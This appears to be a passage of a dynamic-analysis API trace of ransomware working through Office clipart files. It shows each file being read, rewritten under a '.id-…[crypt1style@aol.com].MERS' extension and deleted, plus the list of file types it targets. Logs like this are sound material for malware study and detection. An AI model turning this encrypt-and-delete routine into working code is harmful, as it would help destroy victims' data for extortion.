[0271.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 63 [0271.978] lstrlenW (lpString=".jpg") returned 4 [0271.978] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0271.979] lstrcmpiW (lpString1=".WMF", lpString2=".MERS") returned 1 [0271.979] lstrlenW (lpString="BL00195_.WMF") returned 12 [0271.979] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00195_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0271.992] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x336ff1c | out: lpFileSize=0x336ff1c*=8070) returned 1 [0271.992] CloseHandle (hObject=0x2d8) returned 1 [0271.992] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00195_.wmf")) returned 0x20 [0271.992] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00195_.wmf.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0271.992] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00195_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0271.992] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec8 | out: lpNewFilePointer=0x0) returned 1 [0271.992] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec8 | out: lpNewFilePointer=0x0) returned 1 [0271.992] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00195_.wmf.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0271.993] GetLastError () returned 0x0 [0271.993] ReadFile (in: hFile=0x2d8, lpBuffer=0x3fb0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x336fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fb0020*, lpNumberOfBytesRead=0x336fed4*=0x1f86, lpOverlapped=0x0) returned 1 [0272.084] WriteFile (in: hFile=0x338, lpBuffer=0x3fb0020*, nNumberOfBytesToWrite=0x1f90, lpNumberOfBytesWritten=0x336fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fb0020*, lpNumberOfBytesWritten=0x336fc9c*=0x1f90, lpOverlapped=0x0) returned 1 [0272.085] ReadFile (in: hFile=0x2d8, lpBuffer=0x3fb0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x336fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fb0020*, lpNumberOfBytesRead=0x336fed4*=0x0, lpOverlapped=0x0) returned 1 [0272.085] WriteFile (in: hFile=0x338, lpBuffer=0x3fb0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x336fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fb0020*, lpNumberOfBytesWritten=0x336fc9c*=0xec, lpOverlapped=0x0) returned 1 [0272.085] SetEndOfFile (hFile=0x338) returned 1 [0272.085] CloseHandle (hObject=0x338) returned 1 [0272.085] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec8 | out: lpNewFilePointer=0x0) returned 1 [0272.085] SetEndOfFile (hFile=0x2d8) returned 1 [0272.087] CloseHandle (hObject=0x2d8) returned 1 [0272.087] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0272.087] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00195_.wmf")) returned 1 [0272.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 63 [0272.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 63 [0272.088] lstrlenW (lpString=".doc") returned 4 [0272.088] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0272.088] lstrlenW (lpString=".docx") returned 5 [0272.088] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0272.088] lstrlenW (lpString=".pdf") returned 4 [0272.088] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0272.088] lstrlenW (lpString=".xls") returned 4 [0272.088] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0272.088] lstrlenW (lpString=".xlsx") returned 5 [0272.088] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0272.088] lstrlenW (lpString=".ppt") returned 4 [0272.088] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0272.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 63 [0272.088] lstrlenW (lpString=".zip") returned 4 [0272.088] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0272.088] lstrlenW (lpString=".rar") returned 4 [0272.088] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0272.088] lstrlenW (lpString=".bz2") returned 4 [0272.088] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0272.088] lstrlenW (lpString=".7z") returned 3 [0272.088] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0272.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 63 [0272.089] lstrlenW (lpString=".dbf") returned 4 [0272.089] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0272.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 63 [0272.089] lstrlenW (lpString=".1cd") returned 4 [0272.089] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0272.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 63 [0272.089] lstrlenW (lpString=".jpg") returned 4 [0272.089] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0272.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 63 [0272.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 63 [0272.089] lstrlenW (lpString=".doc") returned 4 [0272.089] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0272.089] lstrlenW (lpString=".docx") returned 5 [0272.089] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0272.089] lstrlenW (lpString=".pdf") returned 4 [0272.089] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0272.089] lstrlenW (lpString=".xls") returned 4 [0272.089] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0272.089] lstrlenW (lpString=".xlsx") returned 5 [0272.089] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0272.089] lstrlenW (lpString=".ppt") returned 4 [0272.089] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0272.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 63 [0272.089] lstrlenW (lpString=".zip") returned 4 [0272.089] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0272.089] lstrlenW (lpString=".rar") returned 4 [0272.089] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0272.089] lstrlenW (lpString=".bz2") returned 4 [0272.089] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0272.089] lstrlenW (lpString=".7z") returned 3 [0272.089] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0272.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 63 [0272.089] lstrlenW (lpString=".dbf") returned 4 [0272.089] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0272.090] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 63 [0272.090] lstrlenW (lpString=".1cd") returned 4 [0272.090] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0272.090] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 63 [0272.090] lstrlenW (lpString=".jpg") returned 4 [0272.090] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0272.090] lstrcmpiW (lpString1=".WMF", lpString2=".MERS") returned 1 [0272.090] lstrlenW (lpString="BL00252_.WMF") returned 12 [0272.090] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00252_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00252_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0272.090] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x336ff1c | out: lpFileSize=0x336ff1c*=4708) returned 1 [0272.090] CloseHandle (hObject=0x2d8) returned 1 [0272.090] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00252_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00252_.wmf")) returned 0x20 [0272.090] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00252_.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00252_.wmf.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0272.090] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00252_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00252_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0272.091] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec8 | out: lpNewFilePointer=0x0) returned 1 [0272.091] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec8 | out: lpNewFilePointer=0x0) returned 1 [0272.091] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00252_.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00252_.wmf.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0272.091] GetLastError () returned 0x0 [0272.091] ReadFile (in: hFile=0x2d8, lpBuffer=0x3fb0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x336fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fb0020*, lpNumberOfBytesRead=0x336fed4*=0x1264, lpOverlapped=0x0) returned 1 [0272.329] WriteFile (in: hFile=0x338, lpBuffer=0x3fb0020*, nNumberOfBytesToWrite=0x1270, lpNumberOfBytesWritten=0x336fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fb0020*, lpNumberOfBytesWritten=0x336fc9c*=0x1270, lpOverlapped=0x0) returned 1 [0272.329] ReadFile (in: hFile=0x2d8, lpBuffer=0x3fb0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x336fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fb0020*, lpNumberOfBytesRead=0x336fed4*=0x0, lpOverlapped=0x0) returned 1 [0272.329] WriteFile (in: hFile=0x338, lpBuffer=0x3fb0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x336fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fb0020*, lpNumberOfBytesWritten=0x336fc9c*=0xec, lpOverlapped=0x0) returned 1 [0272.330] SetEndOfFile (hFile=0x338) returned 1 [0272.330] CloseHandle (hObject=0x338) returned 1 [0272.330] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec8 | out: lpNewFilePointer=0x0) returned 1 [0272.330] SetEndOfFile (hFile=0x2d8) returned 1 [0272.331] CloseHandle (hObject=0x2d8) returned 1 [0272.331] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00252_.WMF.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0272.332] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00252_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00252_.wmf")) returned 1 [0272.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00252_.WMF") returned 63 [0272.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00252_.WMF") returned 63 [0272.332] lstrlenW (lpString=".doc") returned 4 [0272.332] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0272.332] lstrlenW (lpString=".docx") returned 5 [0272.332] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0272.332] lstrlenW (lpString=".pdf") returned 4 [0272.332] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0272.332] lstrlenW (lpString=".xls") returned 4 [0272.332] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0272.332] lstrlenW (lpString=".xlsx") returned 5 [0272.332] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0272.332] lstrlenW (lpString=".ppt") returned 4 [0272.332] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0272.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00252_.WMF") returned 63 [0272.332] lstrlenW (lpString=".zip") returned 4 [0272.332] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0272.332] lstrlenW (lpString=".rar") returned 4 [0272.332] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0272.332] lstrlenW (lpString=".bz2") returned 4 [0272.332] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0272.332] lstrlenW (lpString=".7z") returned 3 [0272.332] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0272.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00252_.WMF") returned 63 [0272.332] lstrlenW (lpString=".dbf") returned 4 [0272.332] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0272.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00252_.WMF") returned 63 [0272.332] lstrlenW (lpString=".1cd") returned 4 [0272.332] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0272.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00252_.WMF") returned 63 [0272.333] lstrlenW (lpString=".jpg") returned 4 [0272.333] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0272.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00252_.WMF") returned 63 [0272.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00252_.WMF") returned 63 [0272.333] lstrlenW (lpString=".doc") returned 4 [0272.333] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0272.333] lstrlenW (lpString=".docx") returned 5 [0272.333] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0272.333] lstrlenW (lpString=".pdf") returned 4 [0272.333] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0272.333] lstrlenW (lpString=".xls") returned 4 [0272.333] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0272.333] lstrlenW (lpString=".xlsx") returned 5 [0272.333] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0272.333] lstrlenW (lpString=".ppt") returned 4 [0272.333] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0272.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00252_.WMF") returned 63 [0272.333] lstrlenW (lpString=".zip") returned 4 [0272.333] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0272.333] lstrlenW (lpString=".rar") returned 4 [0272.333] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0272.333] lstrlenW (lpString=".bz2") returned 4 [0272.333] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0272.333] lstrlenW (lpString=".7z") returned 3 [0272.333] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0272.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00252_.WMF") returned 63 [0272.333] lstrlenW (lpString=".dbf") returned 4 [0272.333] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0272.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00252_.WMF") returned 63 [0272.333] lstrlenW (lpString=".1cd") returned 4 [0272.333] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0272.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00252_.WMF") returned 63 [0272.333] lstrlenW (lpString=".jpg") returned 4 [0272.333] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0272.334] lstrcmpiW (lpString1=".WMF", lpString2=".MERS") returned 1 [0272.334] lstrlenW (lpString="BL00265_.WMF") returned 12 [0272.334] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00265_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00265_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418 [0272.375] GetFileSizeEx (in: hFile=0x418, lpFileSize=0x336ff1c | out: lpFileSize=0x336ff1c*=5752) returned 1 [0272.375] CloseHandle (hObject=0x418) returned 1 [0272.375] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00265_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00265_.wmf")) returned 0x20 [0272.428] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00265_.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00265_.wmf.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0272.428] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00265_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00265_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0272.428] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec8 | out: lpNewFilePointer=0x0) returned 1 [0272.428] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec8 | out: lpNewFilePointer=0x0) returned 1 [0272.428] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00265_.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00265_.wmf.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0272.428] GetLastError () returned 0x0 [0272.428] ReadFile (in: hFile=0x388, lpBuffer=0x3fb0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x336fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fb0020*, lpNumberOfBytesRead=0x336fed4*=0x1678, lpOverlapped=0x0) returned 1 [0272.456] WriteFile (in: hFile=0x3c4, lpBuffer=0x3fb0020*, nNumberOfBytesToWrite=0x1680, lpNumberOfBytesWritten=0x336fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fb0020*, lpNumberOfBytesWritten=0x336fc9c*=0x1680, lpOverlapped=0x0) returned 1 [0272.457] ReadFile (in: hFile=0x388, lpBuffer=0x3fb0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x336fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fb0020*, lpNumberOfBytesRead=0x336fed4*=0x0, lpOverlapped=0x0) returned 1 [0272.457] WriteFile (in: hFile=0x3c4, lpBuffer=0x3fb0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x336fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fb0020*, lpNumberOfBytesWritten=0x336fc9c*=0xec, lpOverlapped=0x0) returned 1 [0272.457] SetEndOfFile (hFile=0x3c4) returned 1 [0272.457] CloseHandle (hObject=0x3c4) returned 1 [0272.457] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec8 | out: lpNewFilePointer=0x0) returned 1 [0272.457] SetEndOfFile (hFile=0x388) returned 1 [0272.459] CloseHandle (hObject=0x388) returned 1 [0272.459] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00265_.WMF.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0272.459] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00265_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00265_.wmf")) returned 1 [0272.459] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00265_.WMF") returned 63 [0272.459] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00265_.WMF") returned 63 [0272.459] lstrlenW (lpString=".doc") returned 4 [0272.459] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0272.459] lstrlenW (lpString=".docx") returned 5 [0272.459] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0272.459] lstrlenW (lpString=".pdf") returned 4 [0272.459] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0272.459] lstrlenW (lpString=".xls") returned 4 [0272.459] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0272.459] lstrlenW (lpString=".xlsx") returned 5 [0272.459] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0272.459] lstrlenW (lpString=".ppt") returned 4 [0272.459] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0272.460] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00265_.WMF") returned 63 [0272.460] lstrlenW (lpString=".zip") returned 4 [0272.460] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0272.460] lstrlenW (lpString=".rar") returned 4 [0272.460] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0272.460] lstrlenW (lpString=".bz2") returned 4 [0272.460] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0272.460] lstrlenW (lpString=".7z") returned 3 [0272.460] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0272.460] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00265_.WMF") returned 63 [0272.460] lstrlenW (lpString=".dbf") returned 4 [0272.460] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0272.460] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00265_.WMF") returned 63 [0272.460] lstrlenW (lpString=".1cd") returned 4 [0272.460] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0272.460] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00265_.WMF") returned 63 [0272.460] lstrlenW (lpString=".jpg") returned 4 [0272.460] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0272.460] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00265_.WMF") returned 63 [0272.460] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00265_.WMF") returned 63 [0272.460] lstrlenW (lpString=".doc") returned 4 [0272.460] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0272.460] lstrlenW (lpString=".docx") returned 5 [0272.460] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0272.460] lstrlenW (lpString=".pdf") returned 4 [0272.460] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0272.460] lstrlenW (lpString=".xls") returned 4 [0272.460] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0272.460] lstrlenW (lpString=".xlsx") returned 5 [0272.460] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0272.460] lstrlenW (lpString=".ppt") returned 4 [0272.460] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0272.460] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00265_.WMF") returned 63 [0272.460] lstrlenW (lpString=".zip") returned 4 [0272.460] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0272.460] lstrlenW (lpString=".rar") returned 4 [0272.461] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0272.461] lstrlenW (lpString=".bz2") returned 4 [0272.461] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0272.461] lstrlenW (lpString=".7z") returned 3 [0272.461] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0272.461] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00265_.WMF") returned 63 [0272.461] lstrlenW (lpString=".dbf") returned 4 [0272.461] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0272.461] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00265_.WMF") returned 63 [0272.461] lstrlenW (lpString=".1cd") returned 4 [0272.461] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0272.461] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00265_.WMF") returned 63 [0272.461] lstrlenW (lpString=".jpg") returned 4 [0272.461] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0272.461] lstrcmpiW (lpString1=".WMF", lpString2=".MERS") returned 1 [0272.461] lstrlenW (lpString="BL00270_.WMF") returned 12 [0272.461] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00270_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00270_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0272.462] GetFileSizeEx (in: hFile=0x388, 